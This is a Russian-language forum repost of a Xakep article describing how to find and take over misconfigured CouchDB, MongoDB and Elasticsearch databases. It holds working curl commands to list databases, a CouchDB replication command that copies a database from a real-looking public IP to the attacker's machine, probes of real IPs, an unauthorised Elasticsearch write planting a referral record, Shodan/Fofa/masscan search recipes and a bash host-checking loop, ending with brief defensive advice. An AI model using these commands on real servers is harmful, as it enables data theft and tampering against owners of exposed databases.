• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как ищут и угоняют чужие базы данных

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Сегодня я постараюсь рассказать и показать, как легко злоумышленники могут получить доступ к обширным массивам всевозможных данных. Прежде чем приступать к атакам, предлагаю разобраться, почему они вообще возможны и почему жизнь по‑прежнему ничему не учит админов и прочих причастных к защите БД.
  • Порог вхождения в применение современных БД, как и в IT в целом, снижается. Начинающему эникейщику все проще попасть на администрирование сервиса, требующего тщательной и внимательной настройки, да и элементарных знаний о конкретном продукте. К счастью таких «инженеров», но к сожалению владельцев утекших данных, многие сетевые сервисы (например, базы данных) можно развернуть «в один клик». При этом совершенно не требуется понимать механизм работы и возможные угрозы развертываемым сервисам. И хорошо, если свежеустановленная база данных настраивалась хотя бы по инструкции с первой страницы поисковика. А если нет?
  • Частенько авторизацию отключают по соображениям «удобства» работы с данными. В итоге наружу торчит порт, а нередко и интерфейс СУБД, с которым можно делать что угодно. Приходи — бери что хочешь…
  • Начальство требует сделать все максимально дешево, так как денег мало и тратить их на достойного спеца не хочется. Вот и просят дизайнера Ваську накатить и настроить БД для компании за чашку кофе. Какая уж тут безопасность — хорошо, если хоть пароль поставит.
Таким образом, одной из основных причин утечки данных служит криворукость администраторов небезопасная конфигурация СУБД, оставленная в результате невнимательности или же просто недостатка знаний.

CouchDB​

CouchDB — это база данных с открытым исходным кодом, разработанная программным фондом Apache. Классическая NoSQL-база. Написана на языке Erlang.

Больше всего нас интересуют способы подключения:
  • порт HTTP API (по умолчанию — 5984);
  • веб‑интерфейс Futon.
Доступ к БД реализован по протоколу HTTP с использованием JSON API, что позволяет обращаться к данным в том числе из выполняемых в браузере веб‑приложений. Имеет свой собственный графический веб‑интерфейс (Futon).

Мы же воспользуемся обычным curl. Вот, к примеру, запрос приветствия:
Код:
curl http://127.0.0.1:5984/
Ответ расскажет нам о номере версии, имени поставщика и версии программного обеспечения:
Код:
{
  "couchdb":"Welcome","version":"2.3.1",
  "git_sha":"c298091a4",
  "uuid":"777dc19849f3ff0392ba09dec1a62fa7",
  "features":["pluggable-storage-engines","scheduler"],
  "vendor":{"name":"The Apache Software Foundation"}
}
Чтобы получить список всех БД на сервере, можно выполнить такой запрос:
Код:
curl http://127.0.0.1:5984/_all_dbs
В ответ мы увидим
Код:
[
  "_replicator",
  "_users",
  "mychannel_",
  "mychannel_kizuna-chaincode",
  "mychannel_lscc",
  "mychannel_user"
]
Здесь _replicator и _users — это стандартные БД.

В ответ также можно получить такую ошибку:
Код:
{
  "error":"unauthorized",
  "reason":"You are not a server admin."
}
Смело идем мимо, здесь ловить нечего. Уровень анонимного доступа настроен так, что мы не можем даже увидеть список БД на сервере, не то что к ним подключиться. Но можно попробовать наудачу подобрать пароль. Запрос на авторизацию выглядит следующим образом:
Код:
curl -X PUT http://localhost:5984/test -u "login:password"
Чтобы подключиться к графическому интерфейсу, нет необходимости ставить какое‑либо ПО, достаточно просто в браузере перейти по такому адресу:
Код:
http://127.0.0.1:5984/_utils/
Чтобы унести данные, можно воспользоваться следующим запросом:
Код:
curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"
Конечно же, потребуется поднять сервер CouchDB на локальной машине. Впрочем, было бы странно, если бы его у тебя не было, раз уж ты собрался работать с этой базой.


MongoDB​

MongoDB — это кросс‑платформенная, документоориентированная база данных, которая обеспечивает высокую производительность и легкую масштабируемость. В основе данной БД лежит концепция коллекций и документов. Способов подключения опять два:
  • HTTP API (порт по умoлчанию — 27017);
  • клиент Robo 3T.
Получить минимальную информацию о находке можно простым GET-запросом на порт API.
Код:
curl -X GET http://114.116.117.104:27017
Сведения здесь и правда скромные, без драйвера БД не удастся добыть хоть сколько‑нибудь полезные данные, кроме того, что БД здесь вообще присутствует (или нет).
Если на порте крутится действительно MongoDB, то ответ придет таким:
Код:
It looks like you are trying to access MongoDB over HTTP on the native driver port.
Этого вполне достаточно, чтобы продолжить ручную проверку при помощи графического клиента.
Унести данные из находки можно через GUI.


Elasticsearch​

Elasticsearch — это представитель кластерных NoSQL баз данных, имеющий JSON REST API и использующий Lucene для полнотекстового поиска. Написана на Java. Мы будем рассматривать его как хранилище документов в формате JSON.

База Elasticsearch способна масштабироваться до петабайт структурированных и неструктурированных данных. Данные в индексе разделены на один или несколько осколков (шардов). Благодаря разделению Elasticsearch может масштабироваться и достигать размеров, которые не потянула бы одна машина. Elasticsearch — это распределенная система, описать максимальные объемы хранения данных затруднительно, могу сказать только, что там могут лежать петабайты и больше.

Способы подключения следующие:
HTTP API — штука очень простая. Для начала давай запросим приветствие. Ради безопасности подопытного сервера часть адреса замазана:
Код:
curl -XGET http://47.99.Х.Х:9200/
Если все хорошо и мы правда нашли «Эластик», то в ответ придет что‑то подобное:
Код:
{
  "name" : "node-2",
    "cluster_name" : "es",
    "cluster_uuid" : "q10ZJxLIQf-ZRZIC0kDkGQ",
    "version" : {
        "number" : "5.5.1",
        "build_hash" : "19c13d0",
        "build_date" : "2017-07-18T20:44:24.823Z",
        "build_snapshot" : false,
        "lucene_version" : "6.6.0"
    },
    "tagline" : "You Know, for Search"
}
Выведем список всех индексов в БД:
Код:
curl -XGET http://47.99.Х.Х:9200/_cat/indices?v
Ответ получим примерно такой.
Код:
health status index         uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green open bdp-interface x3DLdQRyTK2jssMvIJ3FmA 5 1 32576 28 428.9mb 214.4mb
green open onair-vlog Vsq0srUGSk2NvvYmXpxMBw 5 1 22 0 931.9kb 465.9kb
green open meizidb PCybF4SvTdSt1BoOCYLxNw 5 1 5328 1 27.9mb 13.9mb
green  open   rms-resource  R6c3U5_pQgG71huRD0OdDA   5   1     125827           36      1.2gb        636.2mb
Узнаем названия полей, которые хранятся в БД:
Код:
curl -XGET http://47.99.X.X:9200/meizidb
Ответ:
Код:
{
  "meizidb":{
    "aliases":{},
    "mappings":{
      "assets":{
        "dynamic_templates":[{"string":{
            "match_mapping_type":"string",
            "mapping":{"type":"keyword"}
        }}],
        "properties":{
          "annexList":{
            "properties":{
              "annexFileId":{"type":"keyword"},
              "annexName":{"type":"keyword"},
              "annexSize":{"type":"long"},
              "annexThumbUrl":{"type":"keyword"},
              "annexType":{"type":"keyword"},
              "annexUrl":{"type":"keyword"}
            }
          },
          "appCode":{"type":"keyword"},
          "asrText":{"type":"text","index_options":"offsets","analyzer":"ik_max_word"},
          "assetsType":{"type":"keyword"},
          "cdetail":{
            "properties":{
              "SP":{"type":"keyword"},
              "jz":{"type":"keyword"},
              "src":{"type":"keyword"},
              "tag":{"type":"keyword"},
              "type":{"type":"keyword"}
            }
          },
          "companyId":{"type":"keyword"},
          "companyName": ...
}
Можно и вносить записи. Но я настоятельно не рекомендую, так как без договора с владельцем сервера это может повлечь тяжкие последствия.
Код:
curl -X POST http://47.99.Х.Х:9200/onair-vlog/catalogue/1 -H 'Content-Type: application/json' -d @- << EOF
{
   "username" : "KassNT",
   "subject" : "My Referal url: ",
   "referal" : "https://xakep.ru/paywall/form/?init&code=xakep-promo-KassNT"
}
EOF


ПРИМЕРЫ РУЧНОГО ПОИСКА​

Существуют два пути поиска подопытных.

Первый путь — онлайновые сервисы, которые сканируют весь мир и предоставляют нам информацию о хостах при помощи поисковых операторов. Можно, например, «просто найти» цель в одном из них.
Показывать каждый подробно я не буду, но приведу несколько примеров. Например, запрос на поиск MongoDB для сервиса Fofa будет выглядеть так.

Fofa.so

Fofa.so

Подобный ему сервис — Zoomeye.org. Запрос на поиск хостов с поднятой CouchDB здесь будет выглядеть также несложно.
ZoomEye

ZoomEye

Продемонстрирую результаты работы сервиса Shodan с помощью одноименной консольной утилиты. Результат поиска по запросу [product:mongodb all:"metrics"] будет как на скрине ниже.
Shodan

Shodan

Второй путь — применить ручные сканеры.
Сканирование, конечно, ручное, но почему бы не воспользоваться готовым набором данных? Например, если VPS-провайдер не позволяет сканировать все подряд на огромной скорости, то эти ребята уже сделали все за вас! Ну, почти.

О Project Sonar слышало не так много людей. Это исследовательский проект, который сканирует сервисы и протоколы, чтобы получить представление о глобальном воздействии распространенных уязвимостей. Разработан в компании, создавшей, надеюсь, небезызвестный тебе Metasploit Framework, — Rapid7. Собранные данные доступны широкой публике для исследований в области безопасности.

Project Sonar

Project Sonar

Нам будет интересен раздел TCP Scans, где содержатся результаты опроса IP-адресов по различным портам. Подойдет, например, набор данных по результатам 9200 порта (Elasticsearch).
Код:
TCP Scans
[2020-10-07-1602049416-http_get_9200.csv.gz] [39.9 MB] [October 7, 2020]
Lines: 3 472 740
[ 'timestamp_ts' , 'saddr' , 'sport' , 'daddr' , 'dport' , 'ipid' , 'ttl' ]
'1602049426' , '146.148.230.26' , '9200' , '71.6.233.15' , '9200' , '54321' , '248'
'1602049426' , '34.102.229.177' , '9200' , '71.6.233.70' , '9200' , '60681' , '122'
'1602049426' , '104.232.64.108' , '9200' , '71.6.233.105' , '9200' , '54321' , '248'
'1602049426' , '164.116.204.58' , '9200' , '71.6.233.79' , '9200' , '38329' , '242'
'1602049426' , '35.186.233.76' , '9200' , '71.6.233.7' , '9200' , '44536' , '122'
'1602049426' , '192.43.242.72' , '9200' , '71.6.233.113' , '9200' , '19234' , '56'
'1602049426' , '166.241.202.174' , '9200' , '71.6.233.47' , '9200' , '26802' , '242'
'1602049426' , '142.92.75.134' , '9200' , '71.6.233.115' , '9200' , '28081' , '243'
'1602049426' , '198.86.33.87' , '9200' , '71.6.233.112' , '9200' , '17403' , '59'
Для Masscan составим такую команду на запуск:
Код:
masscan -p9200,9042,5984,27017 10.0.0.0/8 --echo > result.txt
Masscan

Masscan

Имея на руках готовый список хостов, можно приступить к детальной проверке.
Nmap

Nmap

Здесь видно, что порт не просто открыт — на нем запущен сервис Elasticsearch.

В результате сканирования и поиска разными сервисами было обнаружено немало любопытного. На скринах — небольшая выборка.
CouchDB

CouchDB

InfoRisk

InfoRisk

Чаты

Чаты

Неожиданно обнаружились списки имен, ников, фамилий (со ссылкой на конкретный аккаунт Telegram, VK или Viber), 16 баз данных, в каждой 15–20 тысяч строк таких вот списков.
Apache Cassandra

Apache Cassandra

РАЗБОР ПОЛЕТОВ​

Вот что в последнее время случается с теми, кто криво настраивает доступ к БД. Все данные отправляются на тот свет, а незадачливому админу остается только записка с требованием выкупа.

Требование выкупа

Требование выкупа

Можно глянуть, кто и что творил с данными, при помощи команды show log.

Убитая БД

Убитая БД

Как видно, все довольно просто: зашли, стерли данные, повесили свой README. Прочитав логи, легко можно увидеть, что «записка о выкупе» перезаписывалась много раз. Каждый раз, когда очередной злодейский бот находит открытую базу, записка просто меняется на новую.

Убитая БД

Убитая БД

Бот проверяет возможность авторизации и записи, после чего дропает все данные, оставляя памятку скорбящему владельцу. Данные, конечно, никто не возвращает и даже не бэкапит перед уничтожением, как красиво расписано в тексте. Здесь надеяться на честность преступника, к сожалению, бесполезно.


АВТОМАТИЗАЦИЯ​

Чтобы быстрее искать СУБД, я написал небольшой скрипт, который работает со списками в формате [ip]:[port]. Вот что он делает:
  • открывает на чтение указанный файл;
  • считывает строку ip:port через разделитель в переменную;
  • обращается при помощи curl по HTTP к хосту из переменной;
  • считывает http_response, пришедший от хоста (время ответа хоста ограничено в моем случае четырьмя секундами);
  • на основе полученного кода http_response хост сохраняется либо в «успешные», либо в «мусорку».
Действия совершаются циклически, пока не закончится входной файл.
Код:
echo "$LINE" | cut -d":" -f'1 2';
HTTP_CODE=$(curl --write-out "%{http_code}n" "http://"$LINE"" --output output.txt --silent   --connect-timeout 4)
if (("$HTTP_CODE"=="200")); then
  echo "##########################--HTTP_API_FOUND--#########################";
  echo $LINE >> result.txt
  else
    echo "Tried to access it, but f'ed up";
    echo $LINE >> trash_bin.txt
fi
Поскольку распространение таких скриптов может квалифицироваться как создание вредоносных программ, я привожу не совсем рабочий код. И тебе тоже рекомендую быть бдительным, если попробуешь написать что‑то в том же духе.
Пример работы скрипта

Пример работы скрипта

Как видишь, автоматизировать поиск целей и даже их дальнейшую «обработку» крайне легко.

ВЫВОДЫ​

Я, конечно, рассмотрел далеко не все варианты, выбрав наиболее часто «текущие» СУБД. Но принцип, думаю, понятен: даже если ты админ, а не какой‑нибудь хакер, знать возможные векторы атак обязательно. Периодически сканируй свои серверы и будешь узнавать о дырах раньше, чем их найдут злоумышленники. Закрывай по умолчанию все ненужные порты. Прячь эндпоинты за авторизацией и генерируй надежные пароли. И, конечно, делай бекапы на случай, если твои данные все же найдет и уничтожит чей‑то бот.

Автор @kassnt / Михаил Артюхин
взято с хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх